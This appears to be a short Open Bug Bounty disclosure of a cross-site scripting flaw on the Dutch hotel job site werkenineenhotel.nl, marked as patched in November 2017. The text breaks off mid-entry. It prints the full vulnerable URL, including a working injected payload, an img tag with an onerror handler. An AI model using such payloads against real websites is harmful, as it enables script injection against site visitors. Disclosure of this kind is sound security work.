werkenineenhotel.nl XSS vulnerability

Vulnerable URL: https://www.werkenineenhotel.nl/hotelvacaturesbanenbijbanenstage/?companygroupid=ratingid==availabilityid==a%27aa%22%3E%3Cimg%20src=x%20onerror=prompt/OPENBUGBOUNTY/%3E==Zoeken Details: Description| Value ---|--- Patched:| Yes, at 26.11.2017 Latest check for patch:| 26.11.2017 15:...